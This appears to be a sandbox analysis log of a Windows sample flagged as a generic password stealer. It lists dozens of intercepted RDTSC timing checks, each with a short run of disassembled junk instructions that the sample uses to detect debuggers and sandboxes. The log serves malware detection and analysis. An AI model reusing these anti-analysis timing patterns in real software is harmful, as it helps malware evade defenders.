Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDB0E5 second address: BDB0E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C10970 second address: C10976 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C10976 second address: C10980 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAF64864F26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C10AEA second address: C10AF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FAF64D85736h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C10AF8 second address: C10B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FAF64864F26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C10B04 second address: C10B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAF64D85746h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C10B22 second address: C10B27 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C10C82 second address: C10C86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C10C86 second address: C10C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAF64864F2Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007FAF64864F26h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C10C9E second address: C10CA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C1996D second address: C19973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C19973 second address: C19996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAF64D85742h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C19996 second address: C1999A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C1999A second address: C199C5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnp 00007FAF64D85736h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAF64D85744h 0x00000014 push ecx 0x00000015 jns 00007FAF64D85736h 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C199C5 second address: C199CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C18425 second address: C18429 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C18429 second address: C1843F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FAF64864F26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007FAF64864F2Eh 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C18585 second address: C185A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FAF64D85740h 0x0000000b popad 0x0000000c je 00007FAF64D85738h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C185A4 second address: C185AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FAF64864F26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C185AF second address: C185B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C185B5 second address: C185BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C185BF second address: C185F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAF64D85741h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jmp 00007FAF64D85745h 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C18874 second address: C1887B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C189F2 second address: C189F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C19188 second address: C1918D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C1CB37 second address: C1CB3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C1CB3B second address: C1CB5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAF64864F2Ah 0x00000008 push edx 0x00000009 pop edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007FAF64864F26h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C1CB5A second address: C1CB69 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAF64D85736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C1F108 second address: C1F10E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C1F10E second address: C1F14E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64D8573Fh 0x00000007 jmp 00007FAF64D85748h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAF64D85741h 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C1F14E second address: C1F17E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64864F2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FAF64864F39h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C1F17E second address: C1F182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C1EE3F second address: C1EE46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C1EE46 second address: C1EE64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAF64D85748h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C1EE64 second address: C1EE6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C1EE6E second address: C1EE78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FAF64D85736h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C22651 second address: C2265A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C2265A second address: C2265E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C2265E second address: C22666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C22A22 second address: C22A3A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007FAF64D85736h 0x0000000f jne 00007FAF64D85736h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C27116 second address: C27137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FAF64864F2Dh 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FAF64864F28h 0x00000013 push esi 0x00000014 pop esi 0x00000015 push ebx 0x00000016 push eax 0x00000017 pop eax 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C27137 second address: C27162 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAF64D8574Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007FAF64D85736h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C27162 second address: C27166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C272C9 second address: C272CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C272CF second address: C272D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C272D3 second address: C272D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C272D7 second address: C272E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C27453 second address: C27457 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C27457 second address: C27475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAF64864F36h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C27475 second address: C2747F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C2747F second address: C27483 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C28159 second address: C2815F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C2815F second address: C28163 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C30F86 second address: C30F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C30F8A second address: C30FA0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAF64864F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FAF64864F2Ch 0x00000010 jng 00007FAF64864F26h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C30FA0 second address: C30FCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64D8573Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007FAF64D85746h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C30FCB second address: C30FE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAF64864F31h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C2F36E second address: C2F374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C2F374 second address: C2F37F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C2F4E7 second address: C2F52C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64D85748h 0x00000007 jo 00007FAF64D85736h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f ja 00007FAF64D8573Ch 0x00000015 jno 00007FAF64D85736h 0x0000001b jmp 00007FAF64D85743h 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C2F52C second address: C2F532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C2F939 second address: C2F953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jp 00007FAF64D85738h 0x0000000c jc 00007FAF64D85738h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C2FC32 second address: C2FC36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C2FC36 second address: C2FC3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C2FED8 second address: C2FEDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C2FEDE second address: C2FEE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C2FEE2 second address: C2FEEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C30A2B second address: C30A33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C30CF0 second address: C30D1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnl 00007FAF64864F34h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAF64864F2Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C30D1A second address: C30D25 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C35B9A second address: C35BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007FAF64864F26h 0x0000000d jno 00007FAF64864F26h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C35BAD second address: C35BB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C34C41 second address: C34C45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C34C45 second address: C34C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FAF64D85736h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAF64D8573Fh 0x00000013 jo 00007FAF64D85736h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C34DAD second address: C34DB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C34DB3 second address: C34DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C34DBB second address: C34DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAF64864F39h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C351C3 second address: C351DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 js 00007FAF64D8574Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAF64D8573Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C351DE second address: C351E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C35362 second address: C35366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C35366 second address: C353A7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAF64864F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FAF64864F36h 0x00000010 jmp 00007FAF64864F37h 0x00000015 push esi 0x00000016 pop esi 0x00000017 push edi 0x00000018 pop edi 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C353A7 second address: C353B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FAF64D85736h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C35532 second address: C35539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C356EE second address: C35712 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64D85746h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007FAF64D85752h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C35872 second address: C3587D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: C3587D second address: C35884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
